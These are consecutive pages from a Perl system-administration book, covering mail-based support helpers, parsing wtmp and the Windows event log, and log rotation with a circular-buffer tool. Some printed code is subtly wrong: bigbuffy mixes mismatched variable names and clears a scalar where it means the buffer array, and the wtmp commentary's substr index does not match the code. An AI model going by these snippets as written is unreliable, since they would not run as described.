Subject: [Req #11510] problems with two computers
Message-Id: <Pine.SUN.3.95.970327183117.23440A-100000@example.com>

In Jenolen (in room 292), there is a piece of a disk stuck in it. In intrepid, there is a disk with no cover (or whatever you call that silver thing) stuck in it. We tried to turn off intrepid, but it wouldn't work. We (the proctor on duty and I) tried to get the disk piece out, but it didn't work. The proctor in charge decided to put signs on them saying 'out of order'

AnotherUser

Aiming our code at these two messages yields:

received: strontium

and:

body: jenolen
body: intrepid

Both hostname guesses were right on the money, and that's with just a little bit of simple code. To take things one step further, let's assume you get this email:

Received: from [192.168.1.118] (buggypeak.example.com [192.168.1.118])
        by mailhost.example.com (8.8.6/8.8.6) with SMTP id JAA16638
        for <systems>; Tue, 4 Aug 1998 09:07:15 -0400 (EDT)
Message-Id: <v02130502b1ecb78576a9@[192.168.1.118]>
Date: Tue, 4 Aug 1998 09:07:16 -0400
To: systems@example.com
From: user@example.com (Nice User)
Subject: [Req #15746] printer

Could someone please persuade my printer to behave and print like a nice printer should?  Thanks much :)

-Nice User.

The user may not realize that you are responsible for a herd of 30 printers. But we can use Perl and a basic observation to help make an educated guess. Users tend to print to printers that are geographically close to the machine they are using at the time. If we can determine which machine they sent mail from, we can probably can pick the printer. There are many ways to retrieve a machine-to-printer mapping, e.g., from a separate file, from a field in the host database we mentioned in Chapter 5, "TCP/IP Name Services", or even a directory service from LDAP. Here's some code that uses a simple hostname-to-associated-printer database:

use Mail::Internet;
use DB_File;

$localdomain = ".example.com";

# printdb is a Berkeley DB file with a host for a key and a
# printer for a value
$printdb     = "printdb";

# parse the message
$message = new Mail::Internet \*STDIN;
$message->head->unfold(  );

# check in the subject line
my $subject = $message->head->get('Subject');
if ($subject =~ /print(er|ing)?/i){
    # find sending machine (assumes Sendmail's header format)
    $received = (reverse $message->head->get('Received'))[0];
    ($host) =
         $received =~ /^from \S+ \((?:\S+@)?(\S+)\Q$localdomain\E \[/;
}

tie %printdb, "DB_File",$printdb  or die "Can't tie $printdb database:$!\n";

print "Problem on $host may be with the printer called " .
       $printdb{$host} . ".\n";

untie %printdb;

If the message mentions "print," "printer," or "printing" in its subject line, we pull out the hostname from the Received: header. Unlike our UCE examples, we know the format our mail hub uses for Received: headers, so we can use a single regular expression to extract this information. With hostname in hand, we can look up the associated printer in a Berkeley DB database. The end result:

Problem on buggypeak may be with the printer called hiroshige.

If you take a moment to examine the fabric of your environment, you will see other ways to augment the receiving of your support email. The examples in this section are small and designed to get you thinking about the possibilities. What other help could programs that read mail (perhaps mail sent by other programs) provide you? Perl gives you many ways to analyze your email, place it in a larger context, and then act upon that information.

Previous | Home | Next
8.2. Common Mistakes in Sending Email | Book Index | 8.4. Module Information for This Chapter
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Module Information for This Chapter (Perl for System Administration)

 Perl for System AdministrationSearch this book

8.4. Module Information for This Chapter

Module | CPAN ID | Version
Mac::Glue | CNANDOR | 0.58
Win32::OLE (ships with ActiveState Perl) | JDB | 1.11
Mail::Mailer (found in MailTools) | GBARR | 1.13
Text::Wrap (found in Text-Tabs+Wrap and also ships with Perl) | MUIR | 98.112902
IO::Socket (found in IO and also ships with Perl) | GBARR | 1.20
Mail::Internet (found in MailTools) | GBARR | 1.13
Mail::Header (found in MailTools) | GBARR | 1.13
Mail::Folder::Mbox (found in Mail::Folder) | KJOHNSON | 0.07
Socket (ships with Perl) |  |
BerkeleyDB | PMQS | 0.10
Net::Telnet | JROGERS | 3.01
DB_File (ships with Perl) | PMQS | 1.72
Previous | Home | Next
8.3. Receiving Mail | Book Index | 8.5. References for More Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


References for More Information (Perl for System Administration)

 Perl for System AdministrationSearch this book

8.5. References for More Information

Advanced Perl Programming, by Sriram Srinivasan (O'Reilly, 1997) has a good section on programming network servers.

Effective Perl Programming, by Joseph Hall with Randal Schwartz (Addison Wesley, 1998) is a useful book for picking up Perl idioms.

http://www.cauce.org/ is a site from Coalition Against Unsolicited Email. There are many sites devoted to fighting Unsolicited Commercial Email; this site is a good place to start. It has pointers to many other sites, including those that go into greater detail about the analysis of mail headers for this process.

http://www.eudora.com/developers/scripting.html contains information for scripting Eudora with pointers to other AppleScript references.

http://www.microsoft.com and http://msdn.microsoft.com have information on "MAPI," "active messaging," and "CDO." The name of this technology has changed twice so far, so I'm hesitant to give you a specific pointer. There is plenty of good information at the Microsoft sites (especially in the MSDN library section) on these topics, but it tends to move around a bit.

Perl Cookbook, by Tom Christiansen and Nathan Torkington (O'Reilly, 1998), also addresses the programming of network servers.

RFC821:Simple Mail Transfer Protocol, J. Postel, 1982.

RFC822:Standard for the format of ARPA Internet text messages, D. Crocker, 1982.

RFC954:NICNAME/WHOIS, K. Harrenstien, M. Stahl, and E. Feinler, 1985.

Previous | Home | Next
8.4. Module Information for This Chapter | Book Index | 9. Log Files
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Log Files (Perl for System Administration)

 Perl for System AdministrationSearch this book

Chapter 9. Log Files

Contents:

Text Logs
Binary Log Files
Stateful and Stateless Data
Disk Space Problems
Log Analysis
Module Information for This Chapter
References for More Information

If this weren't a book on system administration, an entire chapter on log files would seem peculiar. But system administrators have a very special relationship with log files. Like Doctor Doolittle, who could talk to the animals, system administrators are expected to be able to communicate with a large menagerie of software and hardware. Much of this communication takes place through log files, so we become log file linguists. Perl can be a big help in this process.

It is impossible to touch on all of the different kinds of processing and analysis you can do with logs. Entire books have been devoted to just statistical analysis of this sort of data. However, this chapter should give you some general approaches to the topic and Perl tools to whet your appetite for more.

9.1. Text Logs

Logs come in different flavors, so we need several approaches for dealing with them. The most common type of log file is one composed entirely of lines of text. Popular server packages like Apache (web), INN (Usenet news), and Sendmail (email) spew log text in voluminous quantities. Most logs on Unix machines look similar because they are created by a centralized logging facility known as syslog. For our purposes, we can treat files created by syslog like any other text file.

Here's a simple Perl program to scan for the word "error" in a text-based log file:

open(LOG,"logfile") or die "Unable to open logfile:$!\n";
while(<LOG>){
    print if /\berror\b/i;
}
close(LOG);

Perl-savvy readers are probably itching to turn it into a one-liner. For those folks:

perl -ne 'print if /\berror\b/i' logfile
Previous | Home | Next
8.5. References for More Information | Book Index | 9.2. Binary Log Files
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Binary Log Files (Perl for System Administration)

 Perl for System AdministrationSearch this book

9.2. Binary Log Files

Sometimes it's not that easy writing programs to deal with log files. Instead of nice, easily parseable text lines, some logging mechanisms produce nasty, gnarly binary files with proprietary formats that can't be parsed with a single line of Perl. Luckily, Perl isn't afraid of these miscreants. Let's look at a few approaches we can take when dealing with these files. We're going to look at two different examples of binary logs: Unix's wtmp file and NT/2000's event logs.

Back in Chapter 3, "User Accounts", we touched briefly on the notion of logging in and logging out of a Unix host. Login and logout activity is tracked in a file called wtmp on most Unix variants. It is common to check this file whenever there is a question about a user's connection habits (e.g., from what hosts does this person usually log in?).

On NT/2000, the event logs play a more generalized role. They are used as a central clearinghouse for logging practically all activity that takes place on these machines including login and logout activity, OS messages, security events, etc. Their role is analogous to the Unix syslog service we mentioned earlier.

9.2.1. Using unpack( )

Perl has a function called unpack( ) especially designed to parse binary and structured data. Let's take a look at how we might use it to deal with the wtmp files. The format of wtmp differs from Unix variant to Unix variant. For this specific example we'll look at the wtmp files found on SunOS 4.1.4 and Digital Unix 4.0 because they are pretty simple. Here's a plain text translation of the first three records in a SunOS 4.1.4 wtmp file:

0000000    ~  \0  \0  \0  \0  \0  \0  \0   r   e   b   o   o   t  \0  \0
0000020   \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0
0000040    ,   /   ;   4   c   o   n   s   o   l   e  \0   r   o   o   t
0000060   \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0
0000100   \0  \0  \0  \0   ,   /   ; 203   c   o   n   s   o   l   e  \0
0000120   \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0  \0
0000140   \0  \0  \0  \0  \0  \0  \0  \0   ,   /   < 230

Unless you are already familiar with the structure of this file, that "ASCII dump" (as it is called) of the data looks like line noise or some other kind of semi-random garbage. So how do we become acquainted with this file's structure?

The easiest way to understand the format of this file is to look at the source code for programs that read and write to it. If you are not literate in the C language, this may seem like a daunting task. Luckily, we don't actually have to understand or even look at most of the source code; we can just examine the portion that defines the file format.

All of the operating system programs that read and write to the wtmp file get their file definition from a single, short C include file, which is very likely to be found at /usr/include/utmp.h. The part of the file we need to look at begins with a definition of the C data structure that will be used to hold the information. If you search for structutmp{ you'll find the portion we need. The next lines after struct utmp{ define each of the fields in this structure. These lines should be each be commented using the /* text */ C comment convention.

Just to give you an idea of how different two versions of wtmp can be, compare the relevant excerpts from utmp.h on these two operating systems.

SunOS 4.1.4:

struct utmp {
        char    ut_line[8];   /* tty name */
        char    ut_name[8];   /* user id */
        char    ut_host[16];  /* host name, if remote */
        long    ut_time;      /* time on */
};

Digital Unix 4.0:

struct utmp {
        char    ut_user[32];  /* User login name */
        char    ut_id[14];    /* /etc/inittab id- IDENT_LEN in init */
        char    ut_line[32];  /* device name (console, lnxx) */
        short   ut_type;      /* type of entry */
        pid_t   ut_pid;       /* process id */
        struct exit_status {
            short e_termination; /* Process termination status */
            short e_exit;        /* Process exit status */
        } ut_exit;               /* The exit status of a process
                               * marked as DEAD_PROCESS.
                                */
        time_t  ut_time;         /* time entry was made */
        char    ut_host[64];     /* host name same as MAXHOSTNAMELEN */
};

These files provide all of the clues we need to compose the necessary unpack( ) statement. unpack( ) takes a data format template as its first argument. It uses this template to determine how to disassemble the (usually) binary data it receives in its second argument. unpack( ) will take apart the data as instructed, returning a list where each element of the list corresponds to an element of your template.

Let's construct our template piece by piece based on the C structure from the SunOS utmp.h include file above. There are many possible template letters we can use. I've translated the ones we'll use below, but you should check the pack( ) section of the perlfunc manual page for more information. Constructing these templates is not always straightforward; C compilers occasionally pad values out to satisfy alignment constraints. The command pstruct that ships with Perl can often help with quirks likes these.

We do not have any of these complications with our data format. Table 9-1 gives the utmp.h breakdown.

Table 9.1. Translating the utmp.h C Code to an unpack() Template

C Code | unpack( ) Template | Template Letter/Repeat # Translation
char ut_line[8]; | A8 | ASCII string (space padded), 8 bytes long
char ut_name[8]; | A8 | ASCII string (space padded), 8 bytes long
char ut_host[16]; | A16 | ASCII string (space padded), 16 bytes long
long ut_time; | l | A signed "long" value (may not be the same as the size of a "long" value on a particular machine)

Having constructed our template, let's use it in a real piece of code:

# this is the template we're going to feed to unpack(  )
$template = "A8 A8 A16 l";
# this uses pack(  ) to help us determine the size (in bytes)
# of a single record
$recordsize = length(pack($template,(  )));

# open the file
open(WTMP,"/var/adm/wtmp") or die "Unable to open wtmp:$!\n";

# read it in one record at a time
while (read(WTMP,$record,$recordsize)) {
     # unpack it, using our template
    ($tty,$name,$host,$time)=unpack($template,$record);
    # handle the records with a null character specially
    # (see below)
    if ($name and substr($name,0,1) ne "\0"){
        print "$tty:$name:$host:" ,
               scalar localtime($time),"\n";
    }
    else {
        print "$tty:(logout):(logout):",
               scalar localtime($time),"\n";
    }
}

# close the file
close(WTMP);

Here's the output of this little program:

~:reboot::Mon Nov 17 15:24:30 1997
:0:dnb::0:Mon Nov 17 15:35:08 1997
ttyp8:user:host.mcs.anl.go:Mon Nov 17 18:09:49 1997
ttyp6:dnb:limbo-114.ccs.ne:Mon Nov 17 19:03:44 1997
ttyp6:(logout):(logout):Mon Nov 17 19:26:26 1997
ttyp1:dnb:traal-22.ccs.neu:Mon Nov 17 23:47:18 1997
ttyp1:(logout):(logout):Tue Nov 18 00:39:51 1997

Here are two small comments on the code:

  • Under SunOS, logouts from a particular tty are marked with a null character in the first position, hence:

if ($name and substr($name,1,1) ne "\0"){

  • read( ) takes a number of bytes to read as its third argument. Rather than hardcode in a record size like "32", we use a handy property of the pack( ) function. When handed an empty list, pack( ) returns a null or space-padded string the size of a record. This allows us to feed pack( ) an arbitrary record template and have it tell us how big a record is:

$recordsize = length(pack($template,(  )));

9.2.2. Calling an OS (or Someone Else's) Binary

Groveling through wtmp files on systems is such a common task that Unix systems ship a command for printing a human readable dump of the binary file called last. Here's some sample output showing approximately the same data as the output of our previous example:

dnb       ttyp6    traal-22.ccs.neu Mon Nov 17 23:47 - 00:39  (00:52)
dnb       ttyp1    traal-22.ccs.neu Mon Nov 17 23:47 - 00:39  (00:52)
dnb       ttyp6    limbo-114.ccs.ne Mon Nov 17 19:03 - 19:26  (00:22)
user      ttyp8    host.mcs.anl.go Mon Nov 17 18:09 - crash (27+11:50)
dnb       :0       :0               Mon Nov 17 15:35 - 17:35 (4+02:00)
reboot    ~                         Mon Nov 17 15:24

We can easily call binaries like last from Perl. This code will show all of the unique user names found in our current wtmp file:

# location of the last command binary
$lastexec = "/usr/ucb/last";

open(LAST,"$lastexec|") or die "Unable to run $lastexec:$!\n";
while(<LAST>){
    $user = (split)[0];
    print "$user","\n" unless exists $seen{$user};
    $seen{$user}='';
}
close(LAST) or die "Unable to properly close pipe:$!\n";

So why use this method when unpack( ) looks like it can serve all of your needs? Portability. As we've shown, the format of the wtmp file differs from Unix variant to Unix variant. On top of this, a vendor can change the format of wtmp between OS releases, rendering your perfectly good unpack( ) template invalid.

However, one thing you can reasonably depend on is the continued presence of a last command that will read this format, independent of any underlying format changes. If you use the unpack( ) method, you have to create and maintain separate template strings for each different wtmp format you plan to parse.[1]

[1]There's a bit of handwaving here, since you still have to track where the last executable is found in each Unix environment and compensate for any differences in the format of each program's output.

The biggest disadvantage of using this method over unpack( ) is the increased sophistication of the field parsing you need to do in the program. With unpack( ), all of the fields are automatically extracted from the data for you. Using our last example, you may find yourself with split( ) or regular-expression-resistant output like this, all in the same output:

user   console                       Wed Oct 14 20:35 - 20:37  (00:01)
user   pts/12       208.243.191.21   Wed Oct 14 09:19 - 18:12  (08:53)
user   pts/17       208.243.191.21   Tue Oct 13 13:36 - 17:09  (03:33)
reboot system boot                   Tue Oct  6 14:13

Your eye has little trouble picking out the columns, but any program that parses this output will have to deal with the missing information in lines one and four. unpack( ) can still be used to tease apart this output because it has fixed field widths, but that's not always possible.

9.2.3. Using the OS's Logging API

For this approach, let's switch our focus to Windows NT/2000's Event Log Service. As we mentioned before, it unfortunately does not log to plain text files. The best, and only, supported way to get to the data is through a set of special API calls. Most users rely on the Event Viewer program, shown in Figure 9-1, to retrieve this data for them.

Figure 9.1. The NT4 Event Viewer

Luckily, there is a Perl module written by Jesse Dougherty (updated by Martin Pauley and Bret Giddings) that allows easy access to the Event Log API calls.[2] Here's a simple program that just dumps a listing of events in the System event log in a syslog-like format. We'll walk through a more complex version of this program later in this chapter.

[2]Log information in Windows 2000 can also be retrieved using the Window Management Instrumentation (WMI) framework we touched on in Chapter 4, "User Activity". Win32::EventLog is easier to use and understand.

use Win32::EventLog;
# each event has a type, this is a translation of the common types
%type = (1  => "ERROR",
         2  => "WARNING",
         4  => "INFORMATION",
         8  => "AUDIT_SUCCESS",
         16 => "AUDIT_FAILURE");

# if this is set, we also retrieve the full text of every
# message on each Read(  )
$Win32::EventLog::GetMessageText = 1;

# open the System event log
$log = new Win32::EventLog("System")
  or die "Unable to open system log:$^E\n";

# read through it one record at a time, starting with the first entry
while ($log->Read((EVENTLOG_SEQUENTIAL_READ|EVENTLOG_FORWARDS_READ),
             1,$entry)){
    print scalar localtime($entry->{TimeGenerated})." ";
    print $entry->{Computer}."[".($entry->{EventID} &
          0xffff)."] ";
    print $entry->{Source}.":".$type{$entry->{EventType}};
    print $entry->{Message};
}

Command-line utilities like last that dump event logs into plain ASCII format also exist for NT/2000. We'll see one of these utilities in action later in this chapter.

Previous | Home | Next
9.1. Text Logs | Book Index | 9.3. Stateful and Stateless Data
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Stateful and Stateless Data (Perl for System Administration)

 Perl for System AdministrationSearch this book

9.3. Stateful and Stateless Data

In addition to the format in which the log file presents its data, it is important to think about the contents of these files because what the data represents and how it is represented both contribute to our plan of attack when programming. With log file contents, often a distinction can be made between data that is stateful and data that is stateless. Let's see a couple of examples that will make this distinction clear.

Here's a three-line snippet from an Apache web server log. Each line represents a request answered by the web server:

esnet-118.dynamic.rpi.edu - - [13/Dec/1998:00:04:20 -0500] "GET home/u1/tux/
tuxedo05.gif

HTTP/1.0" 200 18666 ppp-206-170-3-49.okld03.pacbell.net - - [13/Dec/1998:00:04:21
 -0500] "GET home/u2/news.htm

HTTP/1.0" 200 6748 ts007d39.ftl-fl.concentric.net - - [13/Dec/1998:00:04:22 -0500]
 "GET home/u1/bgc.jpg HTTP/1.1" 304 -

Here are a few lines from a printer daemon log file:

Aug 14 12:58:46 warhol  printer: cover/door open
Aug 14 12:58:58 warhol  printer: error cleared
Aug 14 17:16:26 warhol  printer: offline or intervention needed
Aug 14 17:16:43 warhol  printer: error cleared
Aug 15 20:40:45 warhol  printer: paper out
Aug 15 20:40:48 warhol  printer: error cleared

In both cases, each line of the log file is independent of every other line in the file. We can find patterns or aggregate lines together gathering statistics, but there's nothing inherent in the data that connects the log file entries to each other.

Now consider some slightly doctored entries from a sendmail mail log:

Dec 13 05:28:27 mailhub sendmail[26690]: FAA26690:
from=<user@has.a.godcomplex.
com>, size=643, class=0, pri=30643, nrcpts=1,
msgid=<199812131032.CAA22824@has.a.
godcomplex.com>, proto=ESMTP, relay=user@has.a.godcomplex.com [216.32.32.176]

Dec 13 05:29:13 mailhub sendmail[26695]: FAA26695: from=<root@host.ccs.neu.edu>,
 size=9600, class=0, pri=39600, nrcpts=1, msgid=<199812131029.FAA15005@host.ccs.
neu.edu>, proto=ESMTP, relay=root@host.ccs.neu.edu [129.10.116.69]

Dec 13 05:29:15 mailhub sendmail[26691]: FAA26690: to=<user@ccs.neu.edu>,
 delay=00:00:02, xdelay=00:00:01, mailer=local, stat=Sent

Dec 13 05:29:19 mailhub sendmail[26696]: FAA26695: to="|IFS=' '&&exec /usr/bin/
procmail -f-||exit 75 #user", ctladdr=user (6603/104), delay=00:00:06,
xdelay=00:
00:06, mailer=prog, stat=Sent

Unlike the previous examples, there is a definite connection between the lines in the file. Figure 9-2 makes that connection explicit.

Figure 9.2. Related entries in the sendmail log

Each line has at least one partner entry that shows the source and destinations of each message. When a message enters the system it is assigned a unique "Message-ID," highlighted above, which identifies that message while it is in play. This Message-ID allows us to associate related lines in an interleaved log file, essentially giving a message an existence or "state" in between entries of a log file.

Sometimes we care about the "distance" between state transitions. Take, for instance, the wtmp file we saw earlier in this chapter. Not only are we interested in when someone logs in and when they log out (the two state transitions in the log), but in the time between these two events, i.e., how long they were logged in.

The most sophisticated log files can add another twist. Here are some excerpts from a POP (Post Office Protocol) server's log file while the server is in debug mode. The names and IP addresses have been changed to protect the innocent:

Jan 14 15:53:45 mailhub popper[20243]: Debugging turned on
Jan 14 15:53:45 mailhub popper[20243]: (v2.53) Servicing request from
"client" at 129.X.X.X
Jan 14 15:53:45 mailhub popper[20243]: +OK QPOP (version 2.53) at mailhub starting.
Jan 14 15:53:45 mailhub popper[20243]: Received: "USER username"
Jan 14 15:53:45 mailhub popper[20243]: +OK Password required for username.
Jan 14 15:53:45 mailhub popper[20243]: Received: "pass xxxxxxxxx"
Jan 14 15:53:45 mailhub popper[20243]: +OK username has 1 message (26627 octets).
Jan 14 15:53:46 mailhub popper[20243]: Received: "LIST"
Jan 14 15:53:46 mailhub popper[20243]: +OK 1 messages (26627 octets)
Jan 14 15:53:46 mailhub popper[20243]: Received: "RETR 1"
Jan 14 15:53:46 mailhub popper[20243]: +OK 26627 octets
<message text appears here>
Jan 14 15:53:56 mailhub popper[20243]: Received: "DELE 1"
Jan 14 15:53:56 mailhub popper[20243]: Deleting message 1 at offset 0 of length 26627
Jan 14 15:53:56 mailhub popper[20243]: +OK Message 1 has been deleted.
Jan 14 15:53:56 mailhub popper[20243]: Received: "QUIT"
Jan 14 15:53:56 mailhub popper[20243]: +OK Pop server at mailhub signing off.
Jan 14 15:53:56 mailhub popper[20243]: (v2.53) Ending request from "user" at (client) 129.X.X.X

Not only do we encounter connections ("Servicing request from...") and disconnections ("Ending request from..."), but we have information detailing what took place in between these state transitions.

Each of these middle events also provides potentially useful "distance" information. If there was a problem with our POP server, we might look to see how long each step in the above output took.

In the case of an FTP server, you may be able to draw some conclusions from this data about how people interact with your site. On average, how long do people stay connected before they transfer files? Do they pause between commands for a long time? Do they always travel from one part of your site to another before downloading the same file? The interstitial data can be a rich source of information.

Previous | Home | Next
9.2. Binary Log Files | Book Index | 9.4. Disk Space Problems
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Disk Space Problems (Perl for System Administration)

 Perl for System AdministrationSearch this book

9.4. Disk Space Problems

The downside to having programs that can provide useful or verbose logging output is the amount of disk space this output can consume. This is a concern for all three operating systems covered in this book: Unix, MacOS, and Windows NT/2000. Of the three, NT/2000 is probably the least troublesome of the lot because its central logging facility has built-in autotrimming support. MacOS does not have a central logging facility, but it too can run servers that will happily produce enough logging output to fill your disks if given the chance.

Usually, the task of keeping the log files down to a reasonable size is handed off to the system administrator. Most Unix vendors provide some sort of automated log size management mechanism with the OS, but it often only handles the select set of log files shipped with the machine. As soon as you add another service to a machine that creates a separate log file, it becomes necessary to tweak (or even toss) the vendor-supplied solution.

9.4.1. Log Rotation

The usual solution to the space problem is to rotate your log files. (We'll see an unusual solution later in this section.) After a specific duration has passed or a file size has been reached, the current log file is moved to another name, e.g., logfile.0. The logging process is then continued into an empty file. At the next interval or limit, we repeat the process, first moving the backup file (logfile.0 ) to another name (like logfile.1). This process is repeated until a set number backup files have been created. The oldest backup file at that point is deleted. Figure 9-3 shows a picture of this process.

Figure 9.3. A pictorial representation of log rotation

This method allows us to keep a reasonable, finite amount of log data around. Table 9-2 provides one recipe for log rotation and the Perl functions needed to perform each step.

Table 9.2. A Recipe for Log Rotation in Perl

Process | Perl
Move the older backup logs out of the way (i.e., move each one to a new name in the sequence). | rename( ) or &File::Copy::move( ) if moving files cross-filesystem.
If necessary, signal the process creating this particular log file to close the current file and cease logging to disk until told otherwise. | kill( ) for programs that take signals, system( ) or `` (backticks) if another administrative program has to be called for this purpose.
Copy or move the log file that was just in use to another file. | &File::Copy to copy, rename( ) to rename (or &File::Copy::move( ) if moving files cross-filesystem).
If necessary, truncate the current log file. | truncate( ) or open(FILE,">filename").
If necessary, signal the logging process to resume logging. | See step 2 of this table.
If desired, compress or post-process the copied file. | system( ) or backticks to run a compression program or other code for post-processing.
Delete other, older log file copies. | stat( ) to examine file sizes and dates, unlink( ) to delete files.

There are many variations on this theme. Everyone and their aunt's vendor have written their own script to do log rotation. It should come as no surprise that there is a Perl module to handle log rotation. Let's take a quick look at Logfile::Rotate by Paul Gampe.

Logfile::Rotate uses the object-oriented programming convention of first creating a new log file object instance and then running a method of that instance. First, we create a new instance with the parameters found in Table 9-3.

Table 9.3. Logfile::Rotate Parameters

Parameter | Purpose
File | Name of log file to rotate
Count (optional, default: 7) | Number of backup files to keep around
Gzip (optional, default: Perl's default as found during the Perl build) | Full path to gzip compression program executable
Signal | Code to be executed after the rotation has been completed, as in step 5 of Table 9-2

Here's some example code that uses these parameters:

use Logfile::Rotate;
$logfile = new Logfile::Rotate(
                File   => "/var/adm/log/syslog",
                Count  => 5,
                Gzip   => "/usr/local/bin/gzip",
                Signal =>
                   sub {
                        open PID, "/etc/syslog.pid" or
                           die "Unable to open pid file:$!\n";
                        chomp($pid = <PID>);
                        close PID;
                        # should check validity first
                        kill 'HUP', $pid;
                        }
            );

This locks the log file you've specified and prepares the module for rotating it. Once you've created this object, actually rotating the log is trivial:

$logfile->rotate(  );
undef $logfile;

The undef line is there to be sure that the log file is unlocked after rotation (it stays locked while the logfile object is still in existence).

As mentioned in the documentation, if this module is run by a privileged user (like root) there are a few concerns. First, Logfile::Rotate makes a system call to run the gzip program, potentially a security hole. Second, the Signal subroutine must be coded in a defensive manner. In the previous example, we don't check to see that the process ID retrieved from /etc/syslog.pid is actually the correct PID for syslog. It would be better to use one of the process table listing strategies we discussed in Chapter 4, "User Activity", before sending the signal via kill( ). See Chapter 1, "Introduction", for more tips on coding defensively.

9.4.2. Circular Buffering

We've just discussed the traditional log rotation method for dealing with storage of ever-growing logs. Let me show you a more unusual approach that you can add to your toolkit.

Here's a common scenario: you're trying to debug a server daemon that provides a torrent of log output. You're only interested in a small part of the total output, perhaps just the lines the server produces after you run some sort of test with a special client. Saving all of the log output to disk as per usual would fill your disk quickly. Rotating the logs as often as needed with this volume of output would slow down the server. What do you do?

I wrote a program called bigbuffy to deal with this conundrum. The approach is pretty straightforward. bigbuffy reads from its usual "standard" or "console" input one line at a time. These lines are stored in a circular buffer of a set size. When the buffer is full, it starts filling from the top again. This read-store process continues forever until bigbuffy receives a signal from the user. Upon receiving this signal, it dumps the current contents of the buffer to a file and returns to its normal cycle. What's left behind on disk is essentially a window into the log stream, showing just the data you need.

bigbuffy can be paired with a service-monitoring program like those found in Chapter 5, "TCP/IP Name Services". As soon as the monitor detects a problem, it can signal bigbuffy to dump its log buffer. Now you've got a snapshot of the log localized to the failure instance (assuming your buffer is large enough and your monitor noticed the problem in time).

Here's a simplified version of bigbuffy. The code is longer than the examples we've seen so far in this chapter, but it is not very complex. We'll use it in a moment as a springboard for addressing some important issues like input blocking and security:

$buffsize = 200; # default circular buffer size (in lines)

use Getopt::Long;

# parse the options
GetOptions("buffsize=i" => \$buffsize,
           "dumpfile=s" => \$dumpfile);

# set up the signal handler and initialize a counter
&setup;

# and away we go! (with just a simple
# read line--store line loop)
while (<>){
    # insert line into data structure
    # note, we do this first, even if we've caught a signal.
    # Better to dump an extra line than lose a line of data if
    # something goes wrong in the dumping process

    $buffer[$whatline] = $_;

    # where should the next line go?
    ($what_line %= $buff_size)++;

    # if we receive a signal, dump the current buffer
    if ($dumpnow) {
       &dodump(  );
    }
}

sub setup {
    die "USAGE: $0 [--buffsize=<lines>] --dumpfile=<filename>"
      unless (length($dumpfile));

    $SIG{'USR1'} = \&dumpnow; # set a signal handler for dump

    $whatline = 1; # start line in circular buffer
}

# simple signal handler that just sets an exception flag,
# see perlipc(1)
sub dumpnow {
    $dumpnow = 1;
}

# dump the circular buffer out to a file, appending to file if
# it exists
sub dodump{
    my($line);     # counter for line dump
    my($exists);   # flag, does the output file exist already?
    my(@firststat,@secondstat); # to hold output of lstats

    $dumpnow = 0;  # reset the flag and signal handler
    $SIG{'USR1'} = \&dumpnow;

    if (-e $dumpfile and (! -f $dumpfile or -l $dumpfile)) {
       warn "ALERT: dumpfile exists and is not a plain file,
             skipping dump.\n";
       return undef;
    }

    # we have to take special precautions when we're doing an
    # append. The next set of "if" statements perform a set of
    # security checks while opening the file for append
    if (-e $dumpfile) {
        $exists = 1;
        unless(@firststat = lstat $dumpfile){
            warn "Unable to lstat $dumpfile,
                  skipping dump.\n";
            return undef;
        }
        if ($firststat[3] != 1) {
            warn "$dumpfile is a hard link, skipping dump.\n";
            return undef;
        }
    }

    unless (open(DUMPFILE,">>$dumpfile")){
        warn "Unable to open $dumpfile for append,
             skipping dump.\n";
        return undef;
    }
    if ($exists) {
        unless (@secondstat = lstat DUMPFILE){
            warn "Unable to lstat opened $dumpfile,
                  skipping dump.\n";
            return undef;
        }

        if ($firststat[0] != $secondstat[0] or # check dev num
            $firststat[1] != $secondstat[1] or # check inode
            $firststat[7] != $secondstat[7])   # check sizes
         {
           warn "SECURITY PROBLEM: lstats don't match,
                skipping dump.\n";
           return undef;
         }
    }

    $line = $whatline;
    print DUMPFILE "-".scalar(localtime).("-"x50)."\n";
    do {
        # in case buffer was not full
        last unless (defined $buffer[$line]);
        print DUMPFILE $buffer[$line];
        $line = ($line == $buffsize) ? 1 : $line+1;
    } while ($line != $whatline);

    close(DUMPFILE);

    # zorch the active buffer to avoid leftovers
    # in future dumps
    $whatline = 1;
    $buffer = (  );

    return 1;
}

A program like this can stir up a few interesting implementation issues.

9.4.2.1. Input blocking in log processing programs

I mentioned earlier that this is a simplified version of bigbuffy. For ease of implementation, especially cross-platform, this version has an unsavory characteristic: while dumping data to disk, it can't continue reading input. During a buffer dump, the program sending output to bigbuffy may be told by the OS to pause operation pending the drain of its output buffer. Luckily, the dump is fast, so the window where this could happen is very small, but this is still less passive than we'd like.

Two possible solutions to this problem include:

  • Rewriting bigbuffy to use a double-buffered, multitasking approach. Instead of using a single storage buffer, two would be employed. Upon receiving the signal, the program would begin to log to a second buffer while a child process or another thread handled the dumping of the first buffer. At the next signal, buffers are swapped again.

  • Rewriting bigbuffy to interleave reading and writing while it is dumping. The simplest version of this approach would involve writing some number of lines to the output file each time a new line is read. This gets a bit tricky if the log output being read is "bursty" instead of arriving as constant flow. You wouldn't want to wait for a new line of output before you could receive the requested log buffer dump. You'd have to use some sort of timeout or internal clock mechanism to get around this problem.

Both approaches are hard to pull off portably in a cross-platform environment, hence the simplified version shown in this book.

9.4.2.2. Security in log processing programs

You may have noticed that bigbuffy troubles itself more than usual with the opening and writing of its output file. This is an example of the defensive coding style mentioned earlier in Section 9.4.1, "Log Rotation". If this program is to be used to debug server daemons, it is likely to be run by privileged users on a system. It is important to think about unpleasant situations that might allow this program to be abused.

For example, take the case where the output file we've specified is maliciously swapped with a link to another file. If we naively opened and wrote to the file, we might find ourselves inadvertently stomping on an important file like /etc/passwd instead. Even if we checked the output file before opening it, a nasty person may have switched it on us before we began to write to it. To avoid this scenario:

  • We check if the output file exists already. If it does, we lstat( ) it to get filesystem information.

  • We open the file in append mode.

